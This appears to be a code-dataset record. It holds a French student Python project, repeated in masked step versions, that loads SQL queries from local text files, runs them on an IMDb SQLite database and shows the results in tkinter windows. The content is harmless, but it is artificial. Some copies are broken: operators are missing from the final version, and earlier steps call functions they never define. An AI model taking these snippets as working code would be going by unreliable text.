<\|reserved_special_token_0\|> def affichage_question(dico, texte, titre='Question'): """ prend en argument dico un dictionnaire, texte une liste, et titre une chaine de caractère. Renvoie une page tkinter où chaque indice de la liste texte est un bouton clickable et où titre et le nom de la page. """ fenetre = tkinter.Tk() fenetre.title(titre) for i in range(len(texte)): bouton = {} bouton[i] = Button(fenetre, text=texte[i], command=lambda n=i, dico =dico: requete(n, dico)) bouton[i].pack() fenetre.mainloop() <\|reserved_special_token_0\|> def requete(n, dico): """ prend en argument n l'indice de la requête dans le dictionnaire et dico un dictionnaire. ne renvoie rien """ r = execute(n, dico) afficher_table(execute(n, dico), dico[n][0]) <\|reserved_special_token_0\|> def afficher_table(table, titre='', debut=0, fin=None): """ prend en argument table une liste et titre une chaine de caractère. ne renvoie rien. """ if titre != '': titre += '\n\n' affichage(titre + texte_table(table, debut, fin), titre) def texte_table(table, debut=0, fin=None): """ prend en argument table une liste. renvoie une chaîne de caractère composé d'un tableau avec dans chaque case un élement de table. """ max = taille_plus_grande_reponse(table) texte = '+' + max * '-' + '+\n' for i in range(len(table)): texte = texte + '\|' + str(table[i]) + (max - len(str(table[i])) ) * ' ' + '\|' + '\n+' + max * '-' + '+\n' return texte <\|reserved_special_token_0\|> def texte_en_liste(nom_requete, repertoire): requete = fichier_txt_en_texte(chemin(nom_requete, repertoire)) return requete.split() <\|reserved_special_token_0\|> def creer_dictionnaire_vide(): """ Ne contient aucun argument et renvoie un dictionnaire vide. """ dico = {} return dico def nom_element_du_repertoire(repertoire): """ prend en argument le nom d'un répertoire ranger dans le dossier projetsqlKilian. renvoie une liste dont chaque élément est le nom d'un des fichier du repertoir. """ path = ( 'C:\\Users\\Elève\\Desktop\\projet NSI\\projetsqlKilian\\projetsqlKilian\\' + repertoire) nom_requete = os.listdir(path) return nom_requete def stocker_requete(dico, repertoire): """ prend en argument dico un dictionnaire vide et repertoire le nom du repertoir où sont sockés les requêtes. ne renvoie rien """ liste = nom_element_du_repertoire(repertoire) for i in range(len(liste)): requete = separer_requete_et_question(liste[i], repertoire) dico[i] = ['#' + str(i + 1) + ') ' + requete[0], requete[1]] def afficher(dico): """ prend en argument un dictionnaire et renvoie ce disctionnaire. """ return dico <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> def execute(n, dico): """ Prend en argument n, la position de la requête dans le dictionaire et dico le nom du dictionnaire. Renvoie une liste dont chaque élément est une réponse de la requête. """ l = [] import sqlite3 conn = sqlite3.connect('imdb.db') c = conn.cursor() c.execute(dico[n][1]) for row in c: l.append(row) conn.close() return l def taille_plus_grande_reponse(reponses): """ Prend en argument une liste. Renvoie la taille du plus grand élément de la liste. """ l = reponses maxi = 0 for i in range(len(l)): if len(str(l[i])) > maxi: maxi = len(str(l[i])) return maxi <\|reserved_special_token_0\|> def affichage_question(dico, texte, titre='Question'): """ prend en argument dico un dictionnaire, texte une liste, et titre une chaine de caractère. Renvoie une page tkinter où chaque indice de la liste texte est un bouton clickable et où titre et le nom de la page. """ fenetre = tkinter.Tk() fenetre.title(titre) for i in range(len(texte)): bouton = {} bouton[i] = Button(fenetre, text=texte[i], command=lambda n=i, dico =dico: requete(n, dico)) bouton[i].pack() fenetre.mainloop() <\|reserved_special_token_0\|> def requete(n, dico): """ prend en argument n l'indice de la requête dans le dictionnaire et dico un dictionnaire. ne renvoie rien """ r = execute(n, dico) afficher_table(execute(n, dico), dico[n][0]) <\|reserved_special_token_0\|> def afficher_table(table, titre='', debut=0, fin=None): """ prend en argument table une liste et titre une chaine de caractère. ne renvoie rien. """ if titre != '': titre += '\n\n' affichage(titre + texte_table(table, debut, fin), titre) def texte_table(table, debut=0, fin=None): """ prend en argument table une liste. renvoie une chaîne de caractère composé d'un tableau avec dans chaque case un élement de table. """ max = taille_plus_grande_reponse(table) texte = '+' + max * '-' + '+\n' for i in range(len(table)): texte = texte + '\|' + str(table[i]) + (max - len(str(table[i])) ) * ' ' + '\|' + '\n+' + max * '-' + '+\n' return texte <\|reserved_special_token_0\|> def fichier_txt_en_texte(fichier): """ prend en argument le chemin d'un fichier texte Renvoie le contenu du fichier texte sous forme de chaîne de caractère. """ with open(fichier, 'r') as requete: return requete.read() def chemin(nom, repertoire): """ Prend en argument le nom du fichier où est stocké la requête et le nom du répertoire dans lequel est stocké la requête. Renvoie le chemin de la requête. """ return repertoire + '/' + nom def texte_en_liste(nom_requete, repertoire): requete = fichier_txt_en_texte(chemin(nom_requete, repertoire)) return requete.split() <\|reserved_special_token_0\|> def creer_dictionnaire_vide(): """ Ne contient aucun argument et renvoie un dictionnaire vide. """ dico = {} return dico def nom_element_du_repertoire(repertoire): """ prend en argument le nom d'un répertoire ranger dans le dossier projetsqlKilian. renvoie une liste dont chaque élément est le nom d'un des fichier du repertoir. """ path = ( 'C:\\Users\\Elève\\Desktop\\projet NSI\\projetsqlKilian\\projetsqlKilian\\' + repertoire) nom_requete = os.listdir(path) return nom_requete def stocker_requete(dico, repertoire): """ prend en argument dico un dictionnaire vide et repertoire le nom du repertoir où sont sockés les requêtes. ne renvoie rien """ liste = nom_element_du_repertoire(repertoire) for i in range(len(liste)): requete = separer_requete_et_question(liste[i], repertoire) dico[i] = ['#' + str(i + 1) + ') ' + requete[0], requete[1]] def afficher(dico): """ prend en argument un dictionnaire et renvoie ce disctionnaire. """ return dico <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> def execute(n, dico): """ Prend en argument n, la position de la requête dans le dictionaire et dico le nom du dictionnaire. Renvoie une liste dont chaque élément est une réponse de la requête. """ l = [] import sqlite3 conn = sqlite3.connect('imdb.db') c = conn.cursor() c.execute(dico[n][1]) for row in c: l.append(row) conn.close() return l def taille_plus_grande_reponse(reponses): """ Prend en argument une liste. Renvoie la taille du plus grand élément de la liste. """ l = reponses maxi = 0 for i in range(len(l)): if len(str(l[i])) > maxi: maxi = len(str(l[i])) return maxi <\|reserved_special_token_0\|> def affichage_question(dico, texte, titre='Question'): """ prend en argument dico un dictionnaire, texte une liste, et titre une chaine de caractère. Renvoie une page tkinter où chaque indice de la liste texte est un bouton clickable et où titre et le nom de la page. """ fenetre = tkinter.Tk() fenetre.title(titre) for i in range(len(texte)): bouton = {} bouton[i] = Button(fenetre, text=texte[i], command=lambda n=i, dico =dico: requete(n, dico)) bouton[i].pack() fenetre.mainloop() <\|reserved_special_token_0\|> def requete(n, dico): """ prend en argument n l'indice de la requête dans le dictionnaire et dico un dictionnaire. ne renvoie rien """ r = execute(n, dico) afficher_table(execute(n, dico), dico[n][0]) <\|reserved_special_token_0\|> def afficher_table(table, titre='', debut=0, fin=None): """ prend en argument table une liste et titre une chaine de caractère. ne renvoie rien. """ if titre != '': titre += '\n\n' affichage(titre + texte_table(table, debut, fin), titre) def texte_table(table, debut=0, fin=None): """ prend en argument table une liste. renvoie une chaîne de caractère composé d'un tableau avec dans chaque case un élement de table. """ max = taille_plus_grande_reponse(table) texte = '+' + max * '-' + '+\n' for i in range(len(table)): texte = texte + '\|' + str(table[i]) + (max - len(str(table[i])) ) * ' ' + '\|' + '\n+' + max * '-' + '+\n' return texte <\|reserved_special_token_0\|> def fichier_txt_en_texte(fichier): """ prend en argument le chemin d'un fichier texte Renvoie le contenu du fichier texte sous forme de chaîne de caractère. """ with open(fichier, 'r') as requete: return requete.read() def chemin(nom, repertoire): """ Prend en argument le nom du fichier où est stocké la requête et le nom du répertoire dans lequel est stocké la requête. Renvoie le chemin de la requête. """ return repertoire + '/' + nom def texte_en_liste(nom_requete, repertoire): requete = fichier_txt_en_texte(chemin(nom_requete, repertoire)) return requete.split() def liste_en_texte(liste): """ prend en argument une liste et un indice et renvoie la même liste mais l'élement d'indice 'n' est transformé en texte. """ texte = '' for i in range(len(liste)): texte = texte + str(liste[i]) + ' ' return texte <\|reserved_special_token_0\|> def creer_dictionnaire_vide(): """ Ne contient aucun argument et renvoie un dictionnaire vide. """ dico = {} return dico def nom_element_du_repertoire(repertoire): """ prend en argument le nom d'un répertoire ranger dans le dossier projetsqlKilian. renvoie une liste dont chaque élément est le nom d'un des fichier du repertoir. """ path = ( 'C:\\Users\\Elève\\Desktop\\projet NSI\\projetsqlKilian\\projetsqlKilian\\' + repertoire) nom_requete = os.listdir(path) return nom_requete def stocker_requete(dico, repertoire): """ prend en argument dico un dictionnaire vide et repertoire le nom du repertoir où sont sockés les requêtes. ne renvoie rien """ liste = nom_element_du_repertoire(repertoire) for i in range(len(liste)): requete = separer_requete_et_question(liste[i], repertoire) dico[i] = ['#' + str(i + 1) + ') ' + requete[0], requete[1]] def afficher(dico): """ prend en argument un dictionnaire et renvoie ce disctionnaire. """ return dico <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> def execute(n,dico): """ Prend en argument n, la position de la requête dans le dictionaire et dico le nom du dictionnaire. Renvoie une liste dont chaque élément est une réponse de la requête. """ l = [] import sqlite3 conn = sqlite3.connect('imdb.db') c = conn.cursor() c.execute(dico[n][1]) for row in c: l.append(row) conn.close() return l def taille_plus_grande_reponse(reponses): """ Prend en argument une liste. Renvoie la taille du plus grand élément de la liste. """ l = reponses maxi = 0 for i in range(len(l)): if len(str(l[i])) > maxi: maxi = len(str(l[i])) return maxi """affichage question""""""""""""""""""""""""""" from tkinter import * def question(dico): """ prend en argument un disctionnaire. Ne renvoie rien. """ l = [] for i in range(len(dico)): l.append(dico[i][0]) affichage_question(dico,l) def affichage_question(dico, texte, titre = "Question"): """ prend en argument dico un dictionnaire, texte une liste, et titre une chaine de caractère. Renvoie une page tkinter où chaque indice de la liste texte est un bouton clickable et où titre et le nom de la page. """ fenetre = tkinter.Tk() fenetre.title(titre) for i in range(len(texte)): bouton={} bouton[i]=Button(fenetre, text=texte[i], command=lambda n=i, dico=dico:requete(n,dico)) bouton[i].pack() fenetre.mainloop() """""""""""""""""""""""""""""""""""""""""""""""" def requete(n,dico): """ prend en argument n l'indice de la requête dans le dictionnaire et dico un dictionnaire. ne renvoie rien """ r = execute(n,dico) afficher_table(execute(n,dico),dico[n][0]) import tkinter import os def afficher_table(table, titre ="", debut = 0, fin = None): """ prend en argument table une liste et titre une chaine de caractère. ne renvoie rien. """ if titre != "": titre += "\n\n" #print(titre + texte_table(table, debut, fin)) affichage(titre + texte_table(table, debut, fin), titre) def texte_table(table, debut = 0, fin = None): """ prend en argument table une liste. renvoie une chaîne de caractère composé d'un tableau avec dans chaque case un élement de table. """ max = taille_plus_grande_reponse(table) texte = '+' + max * '-' + '+\n' for i in range(len(table)): texte = texte + '\|' + str(table[i]) + (max - len(str(table[i]))) * ' ' + '\|' + '\n+' + max * '-' + '+\n' return texte def affichage(texte, titre = "Requêtes tables"): """ prend en argument texte une chaîne de caractère et titre une chaine de caractère renvoie une fenêtre tkinter """ root = tkinter.Tk() root.title(str(titre)) RWidth=root.winfo_screenwidth() - 100 RHeight=root.winfo_screenheight() - 100 root.geometry("%dx%d+50+0"%(RWidth, RHeight)) text=tkinter.Text(root, wrap = 'none') scroll_x=tkinter.Scrollbar(text.master, orient='horizontal', command = text.xview) scroll_x.config(command = text.xview) text.configure(xscrollcommand = scroll_x.set) scroll_x.pack(side = 'bottom', fill = 'x', anchor = 'w') scroll_y = tkinter.Scrollbar(text.master) scroll_y.config(command = text.yview) text.configure(yscrollcommand = scroll_y.set) scroll_y.pack(side = tkinter.RIGHT, fill = 'y') text.insert("1.0", texte) text.pack(side = tkinter.LEFT, expand = True, fill = tkinter.BOTH) root.mainloop() def fichier_txt_en_texte(fichier): """ prend en argument le chemin d'un fichier texte Renvoie le contenu du fichier texte sous forme de chaîne de caractère. """ with open(fichier, "r") as requete: return requete.read() def chemin(nom, repertoire): """ Prend en argument le nom du fichier où est stocké la requête et le nom du répertoire dans lequel est stocké la requête. Renvoie le chemin de la requête. """ return repertoire + '/' + nom def texte_en_liste(nom_requete, repertoire): requete = fichier_txt_en_texte(chemin(nom_requete, repertoire)) return requete.split() def liste_en_texte(liste): """ prend en argument une liste et un indice et renvoie la même liste mais l'élement d'indice 'n' est transformé en texte. """ texte = "" for i in range(len(liste)): texte = texte + str(liste[i]) + " " return texte def separer_requete_et_question(nom, repertoire): """ prend en argument le numéro de la requête et renvoie la question et la requête sésparé. """ requete = texte_en_liste(nom, repertoire) #transforme la requête en tableau question = "" for i in range(len(requete)): #cherche le moment où la question s'arrête et sépare la question de la requête if requete[i] == "?": question = requete[0:i+1] #stock la question requete = requete[i+1:len(requete)] #stock la réponse break #stop la boucle quand la "?" est trouvé return [liste_en_texte(question),liste_en_texte(requete)] def creer_dictionnaire_vide(): """ Ne contient aucun argument et renvoie un dictionnaire vide. """ dico = {} return dico def nom_element_du_repertoire(repertoire): """ prend en argument le nom d'un répertoire ranger dans le dossier projetsqlKilian. renvoie une liste dont chaque élément est le nom d'un des fichier du repertoir. """ path = "C:\\Users\\Elève\\Desktop\\projet NSI\\projetsqlKilian\\projetsqlKilian\\" + repertoire nom_requete = os.listdir(path) return nom_requete def stocker_requete(dico, repertoire): """ prend en argument dico un dictionnaire vide et repertoire le nom du repertoir où sont sockés les requêtes. ne renvoie rien """ liste = nom_element_du_repertoire(repertoire) for i in range(len(liste)): requete = separer_requete_et_question(liste[i], repertoire) dico[i] = ['#' + str(i+1) + ') ' + requete[0], requete[1]] def afficher(dico): """ prend en argument un dictionnaire et renvoie ce disctionnaire. """ return dico a = creer_dictionnaire_vide() stocker_requete(a,'requête') #print(afficher(a)) question(a) #print(nom_element_du_repertoire('requête')) #requete(a) #print(execute(1,a)) #print(taille_plus_grande_reponse(execute(1,a)))	flexible	{ "blob_id": "7618d7fde3774a04ac2005dad104e54b9988d3e8", "index": 9487, "step-1": "<mask token>\n\n\ndef taille_plus_grande_reponse(reponses):\n \"\"\"\n Prend en argument une liste.\n Renvoie la taille du plus grand élément de la liste.\n \"\"\"\n l = reponses\n maxi = 0\n for i in range(len(l)):\n if len(str(l[i])) > maxi:\n maxi = len(str(l[i]))\n return maxi\n\n\n<mask token>\n\n\ndef affichage_question(dico, texte, titre='Question'):\n \"\"\"\n prend en argument dico un dictionnaire, texte une liste, et titre une chaine de caractère.\n Renvoie une page tkinter où chaque indice de la liste texte est un bouton clickable et où titre et le nom de la page.\n \"\"\"\n fenetre = tkinter.Tk()\n fenetre.title(titre)\n for i in range(len(texte)):\n bouton = {}\n bouton[i] = Button(fenetre, text=texte[i], command=lambda n=i, dico\n =dico: requete(n, dico))\n bouton[i].pack()\n fenetre.mainloop()\n\n\n<mask token>\n\n\ndef requete(n, dico):\n \"\"\"\n prend en argument n l'indice de la requête dans le dictionnaire et dico un dictionnaire.\n ne renvoie rien\n \"\"\"\n r = execute(n, dico)\n afficher_table(execute(n, dico), dico[n][0])\n\n\n<mask token>\n\n\ndef afficher_table(table, titre='', debut=0, fin=None):\n \"\"\"\n prend en argument table une liste et titre une chaine de caractère.\n ne renvoie rien.\n \"\"\"\n if titre != '':\n titre += '\\n\\n'\n affichage(titre + texte_table(table, debut, fin), titre)\n\n\ndef texte_table(table, debut=0, fin=None):\n \"\"\"\n prend en argument table une liste.\n renvoie une chaîne de caractère composé d'un tableau avec dans chaque case un élement de table.\n \"\"\"\n max = taille_plus_grande_reponse(table)\n texte = '+' + max * '-' + '+\\n'\n for i in range(len(table)):\n texte = texte + '\|' + str(table[i]) + (max - len(str(table[i]))\n ) * ' ' + '\|' + '\\n+' + max * '-' + '+\\n'\n return texte\n\n\n<mask token>\n\n\ndef texte_en_liste(nom_requete, repertoire):\n requete = fichier_txt_en_texte(chemin(nom_requete, repertoire))\n return requete.split()\n\n\n<mask token>\n\n\ndef stocker_requete(dico, repertoire):\n \"\"\"\n prend en argument dico un dictionnaire vide et repertoire le nom du repertoir où sont sockés les requêtes.\n ne renvoie rien\n \"\"\"\n liste = nom_element_du_repertoire(repertoire)\n for i in range(len(liste)):\n requete = separer_requete_et_question(liste[i], repertoire)\n dico[i] = ['#' + str(i + 1) + ') ' + requete[0], requete[1]]\n\n\ndef afficher(dico):\n \"\"\"\n prend en argument un dictionnaire et renvoie ce disctionnaire.\n \"\"\"\n return dico\n\n\n<mask token>\n", "step-2": "def execute(n, dico):\n \"\"\"\n Prend en argument n, la position de la requête dans le dictionaire et dico le nom du dictionnaire.\n Renvoie une liste dont chaque élément est une réponse de la requête.\n \"\"\"\n l = []\n import sqlite3\n conn = sqlite3.connect('imdb.db')\n c = conn.cursor()\n c.execute(dico[n][1])\n for row in c:\n l.append(row)\n conn.close()\n return l\n\n\ndef taille_plus_grande_reponse(reponses):\n \"\"\"\n Prend en argument une liste.\n Renvoie la taille du plus grand élément de la liste.\n \"\"\"\n l = reponses\n maxi = 0\n for i in range(len(l)):\n if len(str(l[i])) > maxi:\n maxi = len(str(l[i]))\n return maxi\n\n\n<mask token>\n\n\ndef affichage_question(dico, texte, titre='Question'):\n \"\"\"\n prend en argument dico un dictionnaire, texte une liste, et titre une chaine de caractère.\n Renvoie une page tkinter où chaque indice de la liste texte est un bouton clickable et où titre et le nom de la page.\n \"\"\"\n fenetre = tkinter.Tk()\n fenetre.title(titre)\n for i in range(len(texte)):\n bouton = {}\n bouton[i] = Button(fenetre, text=texte[i], command=lambda n=i, dico\n =dico: requete(n, dico))\n bouton[i].pack()\n fenetre.mainloop()\n\n\n<mask token>\n\n\ndef requete(n, dico):\n \"\"\"\n prend en argument n l'indice de la requête dans le dictionnaire et dico un dictionnaire.\n ne renvoie rien\n \"\"\"\n r = execute(n, dico)\n afficher_table(execute(n, dico), dico[n][0])\n\n\n<mask token>\n\n\ndef afficher_table(table, titre='', debut=0, fin=None):\n \"\"\"\n prend en argument table une liste et titre une chaine de caractère.\n ne renvoie rien.\n \"\"\"\n if titre != '':\n titre += '\\n\\n'\n affichage(titre + texte_table(table, debut, fin), titre)\n\n\ndef texte_table(table, debut=0, fin=None):\n \"\"\"\n prend en argument table une liste.\n renvoie une chaîne de caractère composé d'un tableau avec dans chaque case un élement de table.\n \"\"\"\n max = taille_plus_grande_reponse(table)\n texte = '+' + max * '-' + '+\\n'\n for i in range(len(table)):\n texte = texte + '\|' + str(table[i]) + (max - len(str(table[i]))\n ) * ' ' + '\|' + '\\n+' + max * '-' + '+\\n'\n return texte\n\n\n<mask token>\n\n\ndef texte_en_liste(nom_requete, repertoire):\n requete = fichier_txt_en_texte(chemin(nom_requete, repertoire))\n return requete.split()\n\n\n<mask token>\n\n\ndef creer_dictionnaire_vide():\n \"\"\"\n Ne contient aucun argument et renvoie un dictionnaire vide.\n \"\"\"\n dico = {}\n return dico\n\n\ndef nom_element_du_repertoire(repertoire):\n \"\"\"\n prend en argument le nom d'un répertoire ranger dans le dossier projetsqlKilian.\n renvoie une liste dont chaque élément est le nom d'un des fichier du repertoir.\n \"\"\"\n path = (\n 'C:\\\\Users\\\\Elève\\\\Desktop\\\\projet NSI\\\\projetsqlKilian\\\\projetsqlKilian\\\\'\n + repertoire)\n nom_requete = os.listdir(path)\n return nom_requete\n\n\ndef stocker_requete(dico, repertoire):\n \"\"\"\n prend en argument dico un dictionnaire vide et repertoire le nom du repertoir où sont sockés les requêtes.\n ne renvoie rien\n \"\"\"\n liste = nom_element_du_repertoire(repertoire)\n for i in range(len(liste)):\n requete = separer_requete_et_question(liste[i], repertoire)\n dico[i] = ['#' + str(i + 1) + ') ' + requete[0], requete[1]]\n\n\ndef afficher(dico):\n \"\"\"\n prend en argument un dictionnaire et renvoie ce disctionnaire.\n \"\"\"\n return dico\n\n\n<mask token>\n", "step-3": "def execute(n, dico):\n \"\"\"\n Prend en argument n, la position de la requête dans le dictionaire et dico le nom du dictionnaire.\n Renvoie une liste dont chaque élément est une réponse de la requête.\n \"\"\"\n l = []\n import sqlite3\n conn = sqlite3.connect('imdb.db')\n c = conn.cursor()\n c.execute(dico[n][1])\n for row in c:\n l.append(row)\n conn.close()\n return l\n\n\ndef taille_plus_grande_reponse(reponses):\n \"\"\"\n Prend en argument une liste.\n Renvoie la taille du plus grand élément de la liste.\n \"\"\"\n l = reponses\n maxi = 0\n for i in range(len(l)):\n if len(str(l[i])) > maxi:\n maxi = len(str(l[i]))\n return maxi\n\n\n<mask token>\n\n\ndef affichage_question(dico, texte, titre='Question'):\n \"\"\"\n prend en argument dico un dictionnaire, texte une liste, et titre une chaine de caractère.\n Renvoie une page tkinter où chaque indice de la liste texte est un bouton clickable et où titre et le nom de la page.\n \"\"\"\n fenetre = tkinter.Tk()\n fenetre.title(titre)\n for i in range(len(texte)):\n bouton = {}\n bouton[i] = Button(fenetre, text=texte[i], command=lambda n=i, dico\n =dico: requete(n, dico))\n bouton[i].pack()\n fenetre.mainloop()\n\n\n<mask token>\n\n\ndef requete(n, dico):\n \"\"\"\n prend en argument n l'indice de la requête dans le dictionnaire et dico un dictionnaire.\n ne renvoie rien\n \"\"\"\n r = execute(n, dico)\n afficher_table(execute(n, dico), dico[n][0])\n\n\n<mask token>\n\n\ndef afficher_table(table, titre='', debut=0, fin=None):\n \"\"\"\n prend en argument table une liste et titre une chaine de caractère.\n ne renvoie rien.\n \"\"\"\n if titre != '':\n titre += '\\n\\n'\n affichage(titre + texte_table(table, debut, fin), titre)\n\n\ndef texte_table(table, debut=0, fin=None):\n \"\"\"\n prend en argument table une liste.\n renvoie une chaîne de caractère composé d'un tableau avec dans chaque case un élement de table.\n \"\"\"\n max = taille_plus_grande_reponse(table)\n texte = '+' + max * '-' + '+\\n'\n for i in range(len(table)):\n texte = texte + '\|' + str(table[i]) + (max - len(str(table[i]))\n ) * ' ' + '\|' + '\\n+' + max * '-' + '+\\n'\n return texte\n\n\n<mask token>\n\n\ndef fichier_txt_en_texte(fichier):\n \"\"\"\n prend en argument le chemin d'un fichier texte\n Renvoie le contenu du fichier texte sous forme de chaîne de caractère.\n \"\"\"\n with open(fichier, 'r') as requete:\n return requete.read()\n\n\ndef chemin(nom, repertoire):\n \"\"\"\n Prend en argument le nom du fichier où est stocké la requête et le nom du répertoire dans lequel est stocké la requête.\n Renvoie le chemin de la requête.\n \"\"\"\n return repertoire + '/' + nom\n\n\ndef texte_en_liste(nom_requete, repertoire):\n requete = fichier_txt_en_texte(chemin(nom_requete, repertoire))\n return requete.split()\n\n\n<mask token>\n\n\ndef creer_dictionnaire_vide():\n \"\"\"\n Ne contient aucun argument et renvoie un dictionnaire vide.\n \"\"\"\n dico = {}\n return dico\n\n\ndef nom_element_du_repertoire(repertoire):\n \"\"\"\n prend en argument le nom d'un répertoire ranger dans le dossier projetsqlKilian.\n renvoie une liste dont chaque élément est le nom d'un des fichier du repertoir.\n \"\"\"\n path = (\n 'C:\\\\Users\\\\Elève\\\\Desktop\\\\projet NSI\\\\projetsqlKilian\\\\projetsqlKilian\\\\'\n + repertoire)\n nom_requete = os.listdir(path)\n return nom_requete\n\n\ndef stocker_requete(dico, repertoire):\n \"\"\"\n prend en argument dico un dictionnaire vide et repertoire le nom du repertoir où sont sockés les requêtes.\n ne renvoie rien\n \"\"\"\n liste = nom_element_du_repertoire(repertoire)\n for i in range(len(liste)):\n requete = separer_requete_et_question(liste[i], repertoire)\n dico[i] = ['#' + str(i + 1) + ') ' + requete[0], requete[1]]\n\n\ndef afficher(dico):\n \"\"\"\n prend en argument un dictionnaire et renvoie ce disctionnaire.\n \"\"\"\n return dico\n\n\n<mask token>\n", "step-4": "def execute(n, dico):\n \"\"\"\n Prend en argument n, la position de la requête dans le dictionaire et dico le nom du dictionnaire.\n Renvoie une liste dont chaque élément est une réponse de la requête.\n \"\"\"\n l = []\n import sqlite3\n conn = sqlite3.connect('imdb.db')\n c = conn.cursor()\n c.execute(dico[n][1])\n for row in c:\n l.append(row)\n conn.close()\n return l\n\n\ndef taille_plus_grande_reponse(reponses):\n \"\"\"\n Prend en argument une liste.\n Renvoie la taille du plus grand élément de la liste.\n \"\"\"\n l = reponses\n maxi = 0\n for i in range(len(l)):\n if len(str(l[i])) > maxi:\n maxi = len(str(l[i]))\n return maxi\n\n\n<mask token>\n\n\ndef affichage_question(dico, texte, titre='Question'):\n \"\"\"\n prend en argument dico un dictionnaire, texte une liste, et titre une chaine de caractère.\n Renvoie une page tkinter où chaque indice de la liste texte est un bouton clickable et où titre et le nom de la page.\n \"\"\"\n fenetre = tkinter.Tk()\n fenetre.title(titre)\n for i in range(len(texte)):\n bouton = {}\n bouton[i] = Button(fenetre, text=texte[i], command=lambda n=i, dico\n =dico: requete(n, dico))\n bouton[i].pack()\n fenetre.mainloop()\n\n\n<mask token>\n\n\ndef requete(n, dico):\n \"\"\"\n prend en argument n l'indice de la requête dans le dictionnaire et dico un dictionnaire.\n ne renvoie rien\n \"\"\"\n r = execute(n, dico)\n afficher_table(execute(n, dico), dico[n][0])\n\n\n<mask token>\n\n\ndef afficher_table(table, titre='', debut=0, fin=None):\n \"\"\"\n prend en argument table une liste et titre une chaine de caractère.\n ne renvoie rien.\n \"\"\"\n if titre != '':\n titre += '\\n\\n'\n affichage(titre + texte_table(table, debut, fin), titre)\n\n\ndef texte_table(table, debut=0, fin=None):\n \"\"\"\n prend en argument table une liste.\n renvoie une chaîne de caractère composé d'un tableau avec dans chaque case un élement de table.\n \"\"\"\n max = taille_plus_grande_reponse(table)\n texte = '+' + max * '-' + '+\\n'\n for i in range(len(table)):\n texte = texte + '\|' + str(table[i]) + (max - len(str(table[i]))\n ) * ' ' + '\|' + '\\n+' + max * '-' + '+\\n'\n return texte\n\n\n<mask token>\n\n\ndef fichier_txt_en_texte(fichier):\n \"\"\"\n prend en argument le chemin d'un fichier texte\n Renvoie le contenu du fichier texte sous forme de chaîne de caractère.\n \"\"\"\n with open(fichier, 'r') as requete:\n return requete.read()\n\n\ndef chemin(nom, repertoire):\n \"\"\"\n Prend en argument le nom du fichier où est stocké la requête et le nom du répertoire dans lequel est stocké la requête.\n Renvoie le chemin de la requête.\n \"\"\"\n return repertoire + '/' + nom\n\n\ndef texte_en_liste(nom_requete, repertoire):\n requete = fichier_txt_en_texte(chemin(nom_requete, repertoire))\n return requete.split()\n\n\ndef liste_en_texte(liste):\n \"\"\"\n prend en argument une liste et un indice et renvoie la même liste mais l'élement d'indice 'n' est transformé en texte.\n \"\"\"\n texte = ''\n for i in range(len(liste)):\n texte = texte + str(liste[i]) + ' '\n return texte\n\n\n<mask token>\n\n\ndef creer_dictionnaire_vide():\n \"\"\"\n Ne contient aucun argument et renvoie un dictionnaire vide.\n \"\"\"\n dico = {}\n return dico\n\n\ndef nom_element_du_repertoire(repertoire):\n \"\"\"\n prend en argument le nom d'un répertoire ranger dans le dossier projetsqlKilian.\n renvoie une liste dont chaque élément est le nom d'un des fichier du repertoir.\n \"\"\"\n path = (\n 'C:\\\\Users\\\\Elève\\\\Desktop\\\\projet NSI\\\\projetsqlKilian\\\\projetsqlKilian\\\\'\n + repertoire)\n nom_requete = os.listdir(path)\n return nom_requete\n\n\ndef stocker_requete(dico, repertoire):\n \"\"\"\n prend en argument dico un dictionnaire vide et repertoire le nom du repertoir où sont sockés les requêtes.\n ne renvoie rien\n \"\"\"\n liste = nom_element_du_repertoire(repertoire)\n for i in range(len(liste)):\n requete = separer_requete_et_question(liste[i], repertoire)\n dico[i] = ['#' + str(i + 1) + ') ' + requete[0], requete[1]]\n\n\ndef afficher(dico):\n \"\"\"\n prend en argument un dictionnaire et renvoie ce disctionnaire.\n \"\"\"\n return dico\n\n\n<mask token>\n", "step-5": "def execute(n,dico):\n \"\"\"\n Prend en argument n, la position de la requête dans le dictionaire et dico le nom du dictionnaire.\n Renvoie une liste dont chaque élément est une réponse de la requête.\n \"\"\"\n l = []\n import sqlite3\n conn = sqlite3.connect('imdb.db')\n c = conn.cursor()\n c.execute(dico[n][1])\n for row in c:\n l.append(row)\n conn.close()\n return l\n\ndef taille_plus_grande_reponse(reponses):\n \"\"\"\n Prend en argument une liste.\n Renvoie la taille du plus grand élément de la liste.\n \"\"\"\n l = reponses\n maxi = 0\n for i in range(len(l)):\n if len(str(l[i])) > maxi:\n maxi = len(str(l[i]))\n return maxi\n\n\"\"\"affichage question\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\nfrom tkinter import \n\ndef question(dico):\n \"\"\"\n prend en argument un disctionnaire.\n Ne renvoie rien.\n \"\"\"\n l = []\n for i in range(len(dico)):\n l.append(dico[i][0])\n affichage_question(dico,l)\n\ndef affichage_question(dico, texte, titre = \"Question\"):\n \"\"\"\n prend en argument dico un dictionnaire, texte une liste, et titre une chaine de caractère.\n Renvoie une page tkinter où chaque indice de la liste texte est un bouton clickable et où titre et le nom de la page.\n \"\"\"\n fenetre = tkinter.Tk()\n fenetre.title(titre)\n for i in range(len(texte)):\n bouton={}\n bouton[i]=Button(fenetre, text=texte[i], command=lambda n=i, dico=dico:requete(n,dico))\n bouton[i].pack()\n\n\n fenetre.mainloop()\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\ndef requete(n,dico):\n \"\"\"\n prend en argument n l'indice de la requête dans le dictionnaire et dico un dictionnaire.\n ne renvoie rien\n \"\"\"\n r = execute(n,dico)\n afficher_table(execute(n,dico),dico[n][0])\n\nimport tkinter\nimport os\n\ndef afficher_table(table, titre =\"\", debut = 0, fin = None):\n \"\"\"\n prend en argument table une liste et titre une chaine de caractère.\n ne renvoie rien.\n \"\"\"\n if titre != \"\":\n\t titre += \"\\n\\n\"\n\t#print(titre + texte_table(table, debut, fin))\n affichage(titre + texte_table(table, debut, fin), titre)\n \ndef texte_table(table, debut = 0, fin = None):\n \"\"\"\n prend en argument table une liste.\n renvoie une chaîne de caractère composé d'un tableau avec dans chaque case un élement de table.\n \"\"\"\n max = taille_plus_grande_reponse(table)\n texte = '+' + max '-' + '+\\n'\n 